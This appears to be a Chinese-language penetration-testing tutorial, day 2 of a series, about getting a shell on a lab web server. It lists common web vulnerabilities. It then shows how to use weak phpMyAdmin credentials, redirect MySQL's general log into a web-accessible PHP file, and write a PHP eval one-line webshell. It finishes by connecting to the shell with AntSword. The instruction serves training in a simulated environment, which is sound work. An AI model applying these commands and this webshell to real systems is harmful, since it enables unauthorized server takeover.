内网(域)渗透测试流程和模拟测试day--2--漏洞利用getshell
前景提要:
我们已经通过信息收集的方式收集到了我们以模拟企业web服务器
现在我们得通过扫描到的服务器信息进行漏洞利用
漏洞举例:
web服务器:
-
SQL注入漏洞:攻击者通过在输入框、URL参数等位置输入特殊的SQL语句,绕过正常的验证机制,直接与数据库进行交互,从而获取、篡改或删除数据库中的数据。
-
跨站脚本攻击(XSS)漏洞:攻击者通过在Web页面中注入恶意的HTML或JavaScript代码,当其他用户浏览这些被篡改的页面时,恶意代码会在用户的浏览器中执行,从而窃取用户的会话信息、Cookie等敏感数据,甚至进一步控制用户的浏览器。
-
目标服务器启用了不安全HTTP方法:目标服务器启用了不安全的传输方法,如PUT、TRACE、DELETE、MOVE等,这些方法表示可能在服务器上使用了 WebDAV,由于dav方法允许客户端操纵服务器上的文件,如上传、修改、删除相关文件等危险操作,如果没有合理配置dav,有可能允许未授权的用户对其进行利用,修改服务器上的文件。
-
任意文件上传:文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或webserver相关解析漏洞未修复而造成的,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。
-
文件包含漏洞:本地文件包含是指程序代码在处理包含文件的时候没有严格控制。利用这个漏洞,攻击者可以先把上传的静态文件,或网站日志文件作为代码执行,或者包含远程服务器上的恶意文件,进而获取到服务器权限。
-
命令执行漏洞:命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。
模拟公网:
我们这里以最简洁的phpstudy中的myphpadmin的日志漏洞(前提:账户必须拥有读写权限,Mysql版本大于5.0--大于次版本才会创建日志文件, 还要知道网站的绝对路径)来说
我们通过弱口令爆破工具(自己搭建的模拟环境未做任何修改,很容易被弱口令爆破),获取登录账号密码
Admin:root
Password:root
在控制界面输入
show variable like “%general%”
会查询到两个结果
+------------------+-----------------------------+ | Variable_name | Value | +------------------+-----------------------------+ | general_log | OFF | | general_log_file | /xxx/xxxx/xx.log | +------------------+-----------------------------+
很容易知道,单元格第一个代表日志记录是否打开,第二个表式日志问的存储地址
Set global general_log="on"
打开日志记录功能,
并设置general_log_file=“攻击系统自己的也同样能访问的路径.php(文件类型是php脚本,方便执行木马)”(这里即是让日志文件写在www/文件目录下,也就是我们可以通过浏览器访问带phpmyadmin一样,访问到的地址)
命令行中输入一句话木马
SELECT '<?php @eval($_POST[框内写数字字母,你自己得记住]);?>'
打开shell连接工具:
蚁剑,冰蝎,哥斯拉,中国菜刀之类的工具
蚁剑:适用于php网站,新版本也支持Java网站
冰蝎,哥斯拉:适用于Java网站
菜刀:适用于ASP网站
我们以蚁剑为例子
蚁剑(antsword)常用功能
文件管理:
文件上传与下载:支持文件的上传和下载操作,方便用户在远程服务器和本地之间传输文件。
文件编辑:可以直接在远程服务器上编辑文件,支持多种编码格式。
文件删除与重命名:可以删除或重命名远程服务器上的文件和目录。
虚拟终端:
命令执行:提供一个虚拟终端,用户可以在其中执行各种命令,如同在服务器的命令行界面中操作一样。
命令历史记录:保存执行过的命令历史记录,方便用户快速重复执行之前的命令。
数据库管理:
数据库连接:支持连接到远程服务器上的各种数据库,如MySQL、PostgreSQL等。
SQL查询:可以在蚁剑中直接执行SQL查询,方便数据库的管理和操作。
插件中心:
插件安装与管理:蚁剑提供了一个插件市场,用户可以安装和管理各种插件,扩展蚁剑的功能。
自定义插件:支持用户自行开发和加载自定义插件,满足特定需求。
初始化后新建链接
URL:你的靶场地址
密码:post内的内容
其他一般默认
这个时候我们就已经getshell了,但是功能较少,不能像win的窗口化图形操作。
我们可以考虑转化为远程控制桌面工具